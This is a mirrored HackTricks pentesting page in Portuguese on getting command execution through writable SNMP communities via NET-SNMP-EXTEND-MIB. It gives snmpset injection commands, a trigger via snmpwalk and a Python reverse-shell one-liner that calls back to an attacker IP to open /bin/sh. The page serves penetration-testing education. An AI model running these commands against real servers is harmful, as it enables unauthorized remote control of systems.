mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-21 09:34:20 +00:00
98 lines
5.7 KiB
Markdown
98 lines
5.7 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
|
|
|
</details>
|
|
|
|
|
|
Este post foi copiado de [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
|
|
|
O SNMP é por vezes negligenciado pelo administrador do dispositivo ou servidor onde é deixado numa configuração padrão. A comunidade SNMP com permissões de escrita (**rwcommunity**) no sistema operacional Linux pode ser explorada para permitir que o atacante execute um comando no servidor.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
|
|
|
# **Extendendo os Serviços**
|
|
|
|
Embora você não possa modificar entradas existentes que foram configuradas no **snmpd.conf**, é possível adicionar comandos adicionais via SNMP, porque a configuração de permissão “MAX-ACCESS” na definição MIB está definida como “**read-create**”
|
|
|
|
Adicionar um novo comando basicamente funciona anexando uma linha adicional à tabela “**nsExtendObjects**”.
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
```
|
|
Injetando um comando para ser executado no serviço SNMP. **NET-SNMP-EXTEND-MIB** exige que você sempre forneça o caminho absoluto para o executável. O binário/script chamado também deve existir e ser executável.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
|
|
|
Executando o comando que injetamos no SNMP ao enumerá-lo usando snmpwalk
|
|
```bash
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
```
|
|
Mostrando que o comando é /bin/echo.
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
|
|
|
O comando será executado quando for lido. **run-on-read\(\)**
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
|
|
|
O comando **/bin/echo "hello rio is here"** foi executado durante nossa leitura snmpwalk
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
|
|
|
# **Obtendo o Shell** **do Net-SNMP Extend**
|
|
|
|
Nesta seção, gostaria de discutir como obter um shell de servidor para controlar o servidor.
|
|
|
|
Você pode usar o script python desenvolvido por **mxrch** que pode ser baixado de [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
|
|
|
|
Você pode instalar o pré-requisito para executar isso:
|
|
```bash
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
cd snmp-shell
|
|
sudo python3 -m pip install -r requirements.txt
|
|
```
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
|
|
|
|
**Criando shell reverso**
|
|
|
|
Você também pode criar um shell reverso manualmente injetando o comando abaixo no SNMP
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
```
|
|
```
|
|
execute o snmpwalk para acionar a execução do comando
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
|
|
|
|
Nosso netcat recebe a conexão reverseshell da vítima que nos permite ganhar controle sobre a máquina da vítima
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
|
|
|
|
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
```
|